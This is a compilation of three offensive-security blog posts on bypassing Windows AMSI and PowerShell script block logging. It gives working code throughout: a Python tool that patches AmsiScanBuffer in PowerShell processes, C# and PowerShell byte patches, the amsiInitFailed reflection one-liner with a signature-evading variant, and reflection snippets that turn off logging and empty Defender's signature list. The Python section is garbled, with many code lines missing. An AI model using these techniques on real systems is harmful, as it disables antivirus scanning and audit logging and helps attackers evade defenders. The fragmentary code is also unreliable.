MAX_PATH = 260
MAX_MODULE_NAME32 = 255
TH32CS_SNAPMODULE = 0x00000008
class MODULEENTRY32(Structure):
_fields_ = [ ('dwSize', c_ulong) ,
('th32ModuleID', c_ulong),
('th32ProcessID', c_ulong),
('GlblcntUsage', c_ulong),
('ProccntUsage', c_ulong) ,
('modBaseAddr', c_size_t) ,
('modBaseSize', c_ulong) ,
('hModule', c_void_p) ,
me32 = MODULEENTRY32()
me32.dwSize = sizeof(MODULEENTRY32)
while ret:
...
Much better!
As we saw in our previous post, AmsiScanBuffer is the function which is the interface between
the AMSI-hooked process and the underlying EDR.
0:010> u amsi!AmsiScanBuffer
amsi!AmsiScanBuffer:
Using the opened handle, we need to find those instructions in the memory of
the powershell.exe process.
AmsiScanBuffer = (
)
Then, using the discovered base address of amsi.dll, we need to iterate over the memory of
the process trying to find those instructions. To do that, I created the following function:
while True:
nBytes = c_int(0)
if lpBuffer.value == AmsiScanBuffer:
return baseAddress
else:
baseAddress += 1
The function will take the handle of the powershell.exe process, the base address
of amsi.dll and the AmsiScanBuffer function prologue opcodes and will increment the
addresses by 1 until the pattern is matched.
...
while ret:
if me32.szModule == b'amsi.dll':
KERNEL32.CloseHandle(snapshotHandle)
amsiDllBaseAddress = me32.modBaseAddr
break
else:
AmsiScanBuffer = (
Wonderful!
Patch AmsiScanBuffer
Now that we found our target address, we can patch it with the payload we discussed in
our previous post:
xor eax,eax
ret
patchPayload = (
b'\xc3' # ret
nBytes = c_int(0)
if not res:
return res
It will take the process handle, the address of AmsiScanBuffer that we discovered and the
patching payload. Then, using WriteProcessMemory() it will patch AmsiScanBuffer with our
instructions.
patchPayload = (
b'\xc3' # ret
Great!
Profit
This is the final script. I rearranged it adding some functions for better readability:
#!/usr/bin/env python3
# LinkedIn: https://www.linkedin.com/in/andres-roldan/
# Twitter: https://twitter.com/andresroldan
import psutil
import sys
PROCESS_ACCESS = (
0x000F0000 | # STANDARD_RIGHTS_REQUIRED
0x00100000 | # SYNCHRONIZE
0xFFFF
PAGE_READWRITE = 0x40
def getPowershellPids():
return ppids
while True:
nBytes = c_int(0)
return baseAddress
else:
baseAddress += 1
nBytes = c_int(0)
if not res:
return res
AmsiScanBuffer = (
patchPayload = (
b'\xc3' # ret
MAX_PATH = 260
MAX_MODULE_NAME32 = 255
TH32CS_SNAPMODULE = 0x00000008
class MODULEENTRY32(Structure):
('th32ModuleID', c_ulong),
('th32ProcessID', c_ulong),
('GlblcntUsage', c_ulong),
('ProccntUsage', c_ulong) ,
('modBaseAddr', c_size_t) ,
('modBaseSize', c_ulong) ,
('hModule', c_void_p) ,
me32 = MODULEENTRY32()
me32.dwSize = sizeof(MODULEENTRY32)
while ret:
if me32.szModule == b'amsi.dll':
KERNEL32.CloseHandle(snapshotHandle)
else:
if not process_handle:
continue
print(f'[+] Got process handle of powershell at {pid}: {hex(process_handle)}')
if not amsiDllBaseAddress:
sys.exit(1)
else:
sys.exit(1)
else:
KERNEL32.CloseHandle(process_handle)
print('')
Conclusion
I hope you liked the journey of creating this tool. This technique can be used in other evasion
tasks, such as EDR API unhooking.
PowerShell weaponization is not death. As you can see, AMSI can be easily bypassed using
entirely different, often unbelievable ways.
https://fluidattacks.com/blog/amsi-bypass-python/
The Antimalware Scan Interface is a set of Windows APIs that allows any application to
integrate with an antivirus product (assuming that product acts as an AMSI provider). Windows
Defender, naturally, acts as an AMSI provider as do many third-party AV solutions.
Simply put, AMSI acts as a bridge between an application and an AV engine. Take PowerShell
as an example – when a user tries to execute any code, PowerShell will submit it to AMSI prior
to execution. If the AV engine deems the content it to be malicious, AMSI will report that back
and PowerShell won’t run the code. This was a great solution for script-based malware that ran
in memory and never touched disk.
Any application developer can use AMSI to scan user-supplied input (which is an excellent way
to test bypasses ).
amsi.dll
For an application to submit a sample to AMSI, it must load amsi.dll into its address space and
call a series of AMSI APIs exported from that DLL. We can use a tool such as APIMonitor to
hook PowerShell and monitor which APIs it calls. In order, these will typically be:
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
class Program
[DllImport("amsi.dll")]
[DllImport("amsi.dll")]
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string
contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
All we have to do is initialise AMSI, open a new session and send a sample to it.
// Read Rubeus
// Scan Rubeus
// Print result
Console.WriteLine(amsiResult);
Memory Patching
Tools such as Process Hacker will show that amsi.dll is indeed loaded into the process after
AMSI has been initialised. To overwrite a function in memory, such as AmsiScanBuffer, we
need to get it’s location in memory.
We can do that by first finding the base address of amsi.dll using the
.NET System.Diagnostics class, and then calling the GetProcAddress API.
if (module.ModuleName == "amsi.dll")
hAmsi = module.BaseAddress;
break;
To overwrite the instructions in this region, we need to use VirtualProtect to make it writeable.
var garbage =
Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);
You will then see a whole bunch of A’s in this memory region and allowing the application to
call AmsiScanBuffer will result in the process crashing (because clearly A’s are not valid
instructions).
There are countless instructions we can put here. The general idea is to change the behaviour
in such a way as to prevent AmsiScanBuffer from returning a positive result.
Analysing the DLL using a tool such as IDA can provide some ideas.
One thing AmsiScanBuffer does is check the parameters that have been supplied to it. If it finds
an invalid argument, it branches off to loc_1800036B5. Here, it moves 0x80070057 into eax,
bypasses the branch that does the actual scanning and returns.
ret
defuse.ca has a useful tool for converting assembly into hex and byte arrays.
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
This will cause the return code of AmsiScanBuffer to be E_INVALIDARG, but the actual scan
result to be 0 – often interpreted as AMSI_RESULT_CLEAN.
It doesn’t seem like any applications are actually checking to see if the return code is not S_OK,
and will continue to load the content as long as the scan result itself is not equal to or greater
than 32768 – this certainly appears to be the case for PowerShell and .NET.
The above works for 64-bit, but the assembly required for 32-bit is a little bit different due to
the way data is returned on the stack.
ret 0x18
Before attempting to load a script, it has now become commonplace to run the following AMSI
bypass:
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed
’,’NonPublic,Static’).SetValue($null,$true)
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will
look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative
newcomer to the blue-team arsenal, script block logging, how this works, and just how we can
unhook this before it causes us any issues during an engagement.
The earliest reference to this bypass technique that I can find is credited to Matt Graeber back
in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly
responsible for managing PowerShell execution into a disassembler,
“System.Management.Automation.dll”.
Note that this variable has the access modifier of “private”, meaning that it is not readily
exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to
assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be
found in the method “AmsiUtils.ScanContent”:
Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to
determine if AMSI should scan the command to be executed. By setting this variable to “false”,
what is returned is the following enumeration value:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty
cool
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI
bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook
AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used
to flag this this bypass:
This case insensitive match is applied by Defender to any command sent over via AMSI in
search for commands attempting to unhook AMSI. It’s worth noting that there is no real
parsing going on of the command’s context, for example, the following would also cause this
rule to trigger:
echo “amsiutils’).getfield(‘amsiinitfailed’,’nonpublic,static’).setvalue($null,$true)
Knowing this, we see how easy it is to bypass this signature, for example, we could do
something like:
[Ref].Assembly.GetType(‘System.Management.Automation.Am’+’siUtils’).GetField(‘amsiInitFail
ed’,’NonPublic,Static’).SetValue($null,$true)
[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(‘amsiInitFaile
d’,’NonPublic,Static’).SetValue($null,$true)
So it turns out that this solution isn’t really a true restriction to operator’s who simply modify
their command to bypass AMSI. What is interesting about this development however, is that
there now seems to be a concerted effort to stop attackers from using a known command to
bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take
a further look at how AMSI is working in PowerShell, and see if we could identify any other
interesting bypasses.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function
“AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is
malicious. By modifying the function body by injecting our own assembly code, we can create a
small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply
p/invoke the Win32 API’s to replace the function’s body with our new stub which will return
before the command is scanned. Crafted, we have something like this:
$win32 = @”
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport(“kernel32”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32”)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(“kernel32”)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out
uint lpflOldProtect
);
}
“@
Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary(“amsi.dll”), “AmsiScanBuffer”)
$b = 0
[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b)
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18;
$buf[6] = 0x00;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we
can write to the function body using “VirtualProtect” by marking the page as
read/write/execute, and then using the “Copy” function to update the function with our new 7
byte stub.
The take-away from this technique, is that by having full access to the memory space of the
process, it’s actually pretty difficult to stop the modification of functions which attempt to
essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a
bit different which doesn’t involve the modification of unmanaged code.
We now know from the above test that Windows Defender is blocking based on signatures,
and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security
products given its prevalence. So how about we actually attempt to force a genuine error
state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force
this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and
“amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag
within the “AmsiUtils.ScanContent” method:
int hresult = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
{
hresult = AmsiUtils.Init();
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return; AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
if (AmsiUtils.amsiSession == IntPtr.Zero)
{
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, ref
AmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
Here we see 2 conditions which could result in this flag being set legitimately… that is if either
“AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will
focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported
from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by
PowerShell:
So how can we force this condition? To do this we will need to follow a few steps:
• Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
• Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method,
passing our controlled amsiContext memory region, and result in an error being
returned.
$mem =
[System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType(“Syste
m.Management.Automation.AmsiUtils”).GetField(“amsiSession”,”NonPublic,Static”).SetValue(
$null,
$null);[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiC
ontext”,”NonPublic,Static”).SetValue($null, [IntPtr]$mem)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected
error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we
understand just how the technology works in the background, we actually see that it is trivial
to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention
to another area of PowerShell security which may cause some issues during an engagement,
PowerShell script block logging.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being
executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this
method is the ability to unpack obfuscated scripts into a readable form. For example, if we
invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying
malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of
Powershell logging under the hood and find out.
This looks like a good place to start given our knowledge of how script block logging is rolled
out. Here we find that the setting to enable or disable script logging is returned from the
method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
Contained here we have a further call which provides the registry key path and the setting we
want to grab, which is passed to:
Now that we understand just where these preferences are held during runtime, let’s move
onto how we go about disabling this logging.
We have seen that “cachedGroupPolicySettings” will be the likely target of our modification.
The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be
able to trick PowerShell into believing that the registry key which was cached disables logging.
This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The
“cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where
the PowerShell script blog logging functionality is configured, which in our case is
“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggin
g”. The value will be a Dictionary<string,object> object pointing to our modified configuration
value, which will be “EnableScriptBlockLogging” set to “0”.
$settings =
[Ref].Assembly.GetType(“System.Management.Automation.Utils”).GetField(“cachedGroupPoli
cySettings”,”NonPublic,Static”).GetValue($null);
$settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl
ockLogging”] = @{}
$settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl
ockLogging”].Add(“EnableScriptBlockLogging”, “0”)
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command
will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request
in the Empire framework adding this functionality, courtesy of @cobbr_io.
• https://github.com/EmpireProject/Empire/pull/603
This was later merged into Empire, which means that if you want to avoid PowerShell script
block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not
been configured, we should be good to go right?… Unfortunately, no.
Here we have a method which will iterate through a provided script block, and attempt to
assess if its execution should be marked as suspicious or not. Let’s have a look at the list of
signatures which can be found in the variable “Scriptblock.signatures”:
We see that the token “DeviceIoControl” is identified as suspicious and our full command is
added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by
PowerShell:
Here we can see that the “force” local variable is set depending on if our command is detected
as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force
logging:
Above we can see that the decision to log is based on the “force” parameter, however we are
able to exit this method without logging if the
“ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns,
meaning that we can repurpose our existing script block logging bypass to ensure that any
suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment
with only this kind of implicit logging. Remember that list of suspicious strings… how about we
just truncate that list, meaning that no signatures will match?
[Ref].Assembly.GetType(“System.Management.Automation.ScriptBlock”).GetField(“signatures
”,”NonPublic,static”).SetValue($null, (New-Object
‘System.Collections.Generic.HashSet[string]’))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force”
parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational
security when using your script arsenal. As we continue to see endpoint security solutions
focusing on PowerShell, I believe that ensuring we know just how these security protections
work will not only improve our attempts to avoid detection during an engagement, but also
help defenders to understand the benefits and limitations to monitoring PowerShell.
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/